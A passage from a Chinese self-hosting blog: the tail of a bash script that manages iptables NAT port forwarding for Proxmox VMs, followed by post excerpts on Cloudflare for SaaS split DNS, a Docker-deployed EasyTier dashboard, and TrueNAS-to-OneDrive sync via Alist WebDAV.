"$L_PORT" "$T_IP" "$T_PORT" else echo "错误: 不支持的协议 '$PROTO_REQ'。请使用 tcp, udp 或 both。" exit 1 fi echo "------------------------------------------------------------------" } # 删除规则 (基于行号倒序删除) del_rule() { local RULE_ID=$1 if [[ -z "$RULE_ID" ]]; then echo "错误: 请提供规则 ID" usage exit 1 fi echo "正在搜索 ID 为 [${RULE_ID}] 的规则..." local FOUND=0 # --- 清理 NAT 表 (PREROUTING) --- LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if [[ ! -z "$LINES" ]]; then for line in $LINES; do iptables -t nat -D PREROUTING $line echo "已删除 NAT 表 PREROUTING 链第 $line 行" FOUND=1 done fi # --- 清理 Filter 表 (FORWARD) --- LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if [[ ! -z "$LINES" ]]; then for line in $LINES; do iptables -t filter -D FORWARD $line echo "已删除 Filter 表 FORWARD 链第 $line 行" FOUND=1 done fi if [[ $FOUND -eq 0 ]]; then echo "未找到 ID 为 $RULE_ID 的规则。" else echo "删除操作完成。" echo "请运行 '$0 save' 命令以更新持久化配置文件。" fi } # 保存规则到磁盘 (新增功能) save_rules() { echo "正在保存当前的 iptables 规则..." # netfilter-persistent 是 Debian/Proxmox 中管理 iptables-persistent 的服务 if command -v netfilter-persistent &> /dev/null; then netfilter-persistent save if [ $? -eq 0 ]; then echo "✅ 规则已成功保存到 /etc/iptables/rules.v4,将在系统重启后自动恢复。" else echo "❌ 规则保存失败。请检查 'netfilter-persistent' 服务状态。" fi else echo "警告: 未找到 'netfilter-persistent' 命令。" echo "请确保已安装 'iptables-persistent' 软件包。" echo "安装命令: apt update && apt install iptables-persistent" fi } # 列出规则 list_rules() { echo "当前端口转发规则列表:" printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "目标端口" echo "------------------------------------------------------------------" # 解析 iptables 输出 iptables -t nat -nL PREROUTING -v | grep "NAT_ID:" | while read line; do id=$(echo "$line" | grep -oP '(?<=NAT_ID:)[^ ]*') # 提取协议 if echo "$line" | grep -q "tcp"; then proto="tcp"; else proto="udp"; fi # 提取 dpt: 之后的端口 l_port=$(echo "$line" | grep -oP '(?<=dpt:)[0-9]+') # 提取 to: 之后的 IP:Port target=$(echo "$line" | grep -oP '(?<=to:).*') t_ip=${target%:*} t_port=${target#*:} printf "%-10s %-10s %-10s %-20s %-10s\n" "$id" "$proto" "$l_port" "$t_ip" "$t_port" done } # 主逻辑 case "$ACTION" in add) add_rule "$ARG1" "$ARG2" "$ARG3" "$ARG4" ;; del) del_rule "$ARG1" ;; list) list_rules exit 0 ;; save) save_rules ;; *) usage exit 1 ;; esac save_rules 让其自动添加/删除iptables规则实现端口转发. 记得chmod +x 通过iptables-persistent实现保存配置开机自动加载: apt install iptables-persistent 配置过程中会询问是否需要保存当前规则,Yes或者No都可以。 添加转发规则时使用natmgr add <主机监听地址> <虚拟机内网IP> <虚拟机端口> [tcp/udp/both]即可, 脚本会自动分配一个唯一ID, 删除时使用natmgr del <ID>即可. 也可使用natmgr list查看已有转发列表. 参考文章: bin456789/reinstall: 一键DD/重装脚本 (One-click reinstall OS on VPS) - GitHub Install Proxmox VE on Debian 12 Bookworm - Proxmox VE PVE连接 TrueNAS iSCSI存储实现本地无盘化_pve iscsi-CSDN博客 ProxmoxVE (PVE) NAT 网络配置方法 - Oskyla 烹茶室
2025年11月29日
164 阅读
0 评论
0 点赞
为博客启用Cloudflare SaaS接入实现国际分流
虽然Cloudflare CDN在国内访问速度不尽人意,但是用作国际线路的解析内容还是很够用的。然而Cloudflare很早就取消了CNAME接入的方式,因此本文主要讨论通过SaaS接入,因此需要一张信用卡激活Cloudflare SaaS。 准备材料 有效信用卡,需要有卡号、安全码,或者绑定了信用卡的PayPal。若不超过100个自定义主机名的限制则不会产生扣费。 回退域名,和正常访问的域名不能是同一个(Cloudflare接入需要) 正常访问域名 为了实现分大陆、境外地区单独解析,用作正常访问的域名不可以通过Cloudflare接入。 本文正常访问的域名为:www.iyoroy.cn,回退域名为nekonya.cloud。 过程 回退域名接入 注册一个Cloudflare账户,按照官方教程将域名的DNS改到Cloudflare: Plan选择Free计划即可: 按照要求修改NS记录: 等到NS记录生效,即可通过Cloudflare管理回退域DNS。 绑定信用卡,启用SaaS 进入回退域名的Cloudflare控制台,打开左侧SSL/TLS-自定义主机名,点击启用Cloudflare for SaaS: 填入你的信用卡信息并保存。接着激活SaaS计划: 创建回退域的解析、设置自定义主机名 进入左侧DNS-记录,创建一条解析,指向你的源服务器: 此处我的回退域为cname.nekonya.cloud,解析类型是CNAME,但是A、AAAA记录是也是完全可以的。记得要打开Cloudflare代理以使用CF的CDN。 接着,进入左侧SSL/TLS-自定义主机名,回退源填刚刚添加的那条回退域下的解析,即cname.nekonya.cloud: 接着点击添加自定义主机名,并填写需要被访问的域名: 证书验证方法推荐TXT记录,这样可以使用DCV委派(详见下文设置DCV委派章节)。 接着需要验证域名所有权,按照要求填写TXT记录(我已经配置过了,因此创建一条test做演示): 因为下文要通过DCV验证获取证书,此处并没有添加证书相应记录。若不使用DCV委派,则将证书相关记录也这样设置解析。 {alert type="warning"} 注:在添加证书记录时务必不要刷新整个页面,不然解析记录内容会变。请使用选项内的刷新按钮。 {/alert} 待主机名状态变为有效后即可删除这条(也许是几条)解析。 设置DCV委派 找到下方自定义主机名的 DCV 委派,复制其中提供的解析值,到你的访问域名控制台,添加一条CNAME记录,主机名为_acme-challenge.www(此处和你的访问域名有关,我的访问域名是www.iyoroy.cn因此就是www。若是其他域名如test.iyoroy.cn,就填写_acme-challenge.test),记录值为Cloudflare提供的解析值前面加上你的hostname,即test.iyoroy.cn.xxxxxxx.dcv.cloudflare.com。 设置CNAME解析 进入你的访问域名控制台,为你要访问的域名添加相应解析记录。需要保证境外解析出来的内容是上文设置的回退源: 如果正常,那么就能看到证书状态和域名状态都是有效: 可以看到:,测试时境外已经切换到Cloudflare: 本文使用的DNS管理系统为netcccyun/dnsmgr
2025年05月15日
437 阅读
5 评论
1 点赞
Docker下中心化部署EasyTier
EasyTier本身是个去中心化的p2p工具,任意节点都可作为转发服务器使用。但是每个节点的配置文件都得手动编写,从tailscale迁移过来时觉得有点不习惯。再加上摸索阶段经常需要修改配置文件的内容,故打算还是中心化部署EasyTier的Dashboard,统一管理设备。 项目仓库:https://github.com/easytier/easytier 官方文档并未提供单独部署config-server的方式,但是实际上也不难,服务端已经包含在下载下来的二进制文件中了。本文着重论述通过Docker Compose安装,需要二进制模式安装的可参考下方参考文章。 分析 dashboard的部署主要分为两个部分,一个是后端RESTful API,一个是前端web控制台。其中Release里的easytier-web-embed同时提供了这俩,因此只要运行此二进制文件即可实现功能。 开整 部署API和Web控制台 Docker部署,没什么好说的。 需要开放两个端口: 11211/tcp: API接口,HTTP 22020/udp: 用于客户端(easytier-core)和服务器通信 目录映射需要映射容器内/app文件夹,用作存储持久化数据。 Compose文件如下: services: easytier: restart: always hostname: easytier volumes: - /opt/easytier/api:/app ports: - "127.0.0.1:11211:11211" - "22020:22020/udp" environment: - TZ=Asia/Shanghai image: easytier/easytier:latest entrypoint: easytier-web-embed 此处镜像和官方文档的Docker部署客户端用的是同一个,默认入口点是easytier-core,因此运行webapi需要指定entrypoint为easytier-web-embed。 因为API接口需要HTTPS,故此处没有直接将11211端口暴露公网,而是暴露到127.0.0.1再使用反向代理实现HTTPS。 设置反向代理 我使用的是1Panel,因此直接在面板中创建一个网站,反向代理到设置的API端口即可。 注册控制台账号 完成部署后打开https://你的域名(如果是内建控制台版本则不需要加/web/),将Api Host改为https://你的域名,注意填Api Host的时候URL末尾不要带“/”,否则会出莫名其妙的问题。点击下方Register注册一个账号 再使用这个账号登录即可进入控制台。 客户端配置 将启动参数全部删除,仅保留--config-server udp://你的ip:22020/你的用户名即可。运行easytier-core,再回到控制台即可看到设备。 点击右边的设置按钮,点击Create为其创建网络,接下来的步骤就和本地GUI模式操作一样了,这里就不赘述了。保存后在network栏选择新建的网络即可加入。 因为Docker重启容器内数据会丢失,Docker下部署客户端时需要映射一个文件到容器内/usr/local/bin/et_machine_id用作保存machine id,否则每次重启后都需要重新为其配置网络。同时,给容器设置hostname可以作为设备在web控制台显示的名称。 这里贴一下我的compose: services: easytier: command: '--config-server udp://<ip>:22020/KaguraiYoRoy' environment: - TZ=Asia/Shanghai hostname: truenas image: easytier/easytier:latest labels: com.centurylinklabs.watchtower.enable: 'true' mem_limit: 0m network_mode: host privileged: True restart: always volumes: - >- /mnt/systemdata/DockerData/easytier/app/et_machine_id:/usr/local/bin/et_machine_id watchtower: command: '--interval 3600 --cleanup --label-enable' environment: - TZ=Asia/Shanghai - WATCHTOWER_NO_STARTUP_MESSAGE image: containrrr/watchtower restart: always volumes: - /var/run/docker.sock:/var/run/docker.sock 参考: https://blog.mitsea.com/1a57bda595c580088006c17d6ba2a744/ https://github.com/EasyTier/EasyTier/issues/722 https://github.com/EasyTier/EasyTier/issues/577 https://github.com/EasyTier/EasyTier/pull/718
2025年04月15日
2,487 阅读
0 评论
4 点赞
通过Alist使TrueNAS同步到OneDrive
背景 手上有个E5订阅,本来用的方案是Docker运行driveone/onedrive:edge的方式来实现同步,但是这个方案一个是这种方式没有GUI/WebUI,一个是每次同步的时候都会占用掉CPU 25%-50%的性能。考虑到TrueNAS自带的同步方案可以向WebDAV同步,因此想到能用Alist来挂载OneDrive并转换成WebDAV供TrueNAS挂载。 折腾过程 安装Alist 为Alist创建持久化存储文件夹,并根据Alist官方文档编写Docker Compose: services: alist: environment: - PUID=3000 - PGID=950 - UMASK=022 image: xhofe/alist:latest ports: - '8088:5244' restart: always volumes: - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data - /mnt/data/Storage:/mnt/data 此处我将Alist端口开放在8088,其中映射/mnt/data/Storage是为了让Alist可以管理本地的存储;映射/mnt/systemdata/DockerData/alist/etc作为存储Alist数据的文件夹。 关于如何配置Alist上的OneDrive本文不做讨论,请查询Alist官方文档。此处我将我的OneDrive挂载在/OneDrive。 完成后进入Alist后台-用户,编辑你的用户或者创建一个新用户,勾选Webdav 读取、Webdav 管理以使得该用户可以使用WebDAV。 配置TrueNAS同步 进入TrueNAS后台-Credentials-Backup Credentials,添加一个Cloud Credential,参数如下: Provider: WebDAV Name: 自定义 URL: Alist地址+/dav,例如我这里填写http://127.0.0.1:8088/dav WebDAV Service: OTHER Username和Password: Alist账号密码 Verify Credential确认没问题之后保存。 接着进入TrueNAS后台-Data Protection,添加一个Cloud Sync Task,Provider下的Credentials选择刚刚创建的Alist的WebDAV,点击下一步。此处的参数有很多种,详解如下: Direction: 分为PULL和PUSH,分别对应云端同步到本地和本地同步到云端 Transfer Mode: COPY: 复制文件,若源文件夹中先前有的文件后来删除了云端的不会被删除 MOVE: Copy后删除源文件夹相关文件 SYNC: 保持源文件夹和目标文件夹同步,源文件夹删除的文件也会在目标里删除 Directory/Files: 即本地需要同步的文件或文件夹 Folder: 即云端需要同步的文件夹 Description: 注释 Schedule: Cron定时,可以使用他预设的时段或者自己编写 比如我这里选择的是PUSH,SYNC,从/mnt/data/Storage同步到/OneDrive/TrueNAS,每天0:00执行。 编辑完成后保存,即可在你设置的时段自动将本地文件上传到OneDrive。 旧方案的项目地址: https://github.com/abraunegg/onedrive 参考文章: https://alist.nn.ci/zh/guide/install/docker.html https://alist.nn.ci/zh/guide/drivers/onedrive.html
2025年03月13日
244 阅读
0 评论
0 点赞
1
2